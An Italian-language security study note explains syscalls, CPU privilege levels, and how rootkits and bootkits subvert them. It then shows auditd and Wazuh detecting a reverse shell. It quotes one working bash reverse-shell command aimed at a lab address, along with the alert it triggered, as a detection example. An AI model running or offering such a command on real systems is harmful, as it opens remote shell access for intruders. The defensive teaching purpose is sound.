Il kernel è il nucleo del sistema operativo — gestisce hardware, memoria, processi e rete. Le syscall sono le richieste che i programmi inviano al kernel per ottenere operazioni privilegiate.
graph TD
subgraph EL0["EL0 — User Space"]
BASH["bash"]
PY["python"]
NMAP["nmap"]
FF["firefox"]
end
subgraph EL1["EL1 — Kernel Space"]
K["Linux · XNU (mac) · NT(win) 'concierge' "]
end
subgraph EL2["EL2 — Hypervisor"]
HYP["UTM · VMware · KVM"]
end
subgraph EL3["EL3 — Firmware"]
BIOS["BIOS · UEFI · Secure Boot"]
end
subgraph HW["Hardware"]
CPU["CPU"]
RAM["RAM"]
NIC["NIC"]
DISK["Disco"]
end
EL0 -->|"syscall
richiesta al kernel"| EL1
EL1 -->|"istruzioni privilegiate"| EL2
EL2 --> EL3
EL3 -->|"accesso diretto"| HW
RK["ROOTKIT
compromette EL1
mentisce a EL0"]
BK["BOOTKIT
compromette EL3
invisibile a EL1 ed EL0"]
RK -.->|attacca| EL1
BK -.->|attacca| EL3
Lettura diagramma: Stack verticale a cinque livelli. EL0 (User Space): i programmi utente (bash, python, nmap, firefox). EL1 (Kernel): il "concierge" che gestisce le richieste tramite syscall. EL2 (Hypervisor): UTM, VMware, KVM. EL3 (Firmware): BIOS/UEFI. Hardware: CPU, RAM, NIC, Disco. Il flusso legittimo scende dall'alto verso il basso tramite syscall e istruzioni privilegiate. I due nodi tratteggiati mostrano gli attacchi: Rootkit compromette EL1 e mente a EL0, Bootkit compromette EL3 e diventa invisibile a tutti i livelli sopra.
Il programma non tocca mai l'hardware direttamente. Tutto passa dal kernel.#
Ogni architettura ha la propria ABI (Application Binary Interface) — il contratto che definisce come i programmi chiamano il kernel. Il numero usato per identificare una syscall dipende dall'architettura del processore.
auditd monitora le syscall direttamente — è il livello più basso di visibilità possibile su Linux. Quando bash esegue connect() per una reverse shell, auditd lo vede prima di qualsiasi altro strumento.
Esempio reale dal lab 2026-05-10:
# bash -i >& /dev/tcp/192.168.64.200/4444 0>&1# genera syscall connect() — numero 203 su ARM64# alert Wazuh via auditd:# data.audit.syscall: 203# data.audit.command: bash# data.audit.exe: /usr/bin/bash# data.audit.success: no ← tentativo fallito o EINPROGRESS
bash non dovrebbe mai chiamare connect() — questo è il segnale d'allarme.
Tip
Se un kernel viene compromesso (rootkit), il concierge inizia a mentire — risponde alle chiamate read() e ls mostrando dati falsi. Per questo i rootkit sono invisibili a strumenti userspace: interrogano il kernel, e il kernel risponde con dati falsificati.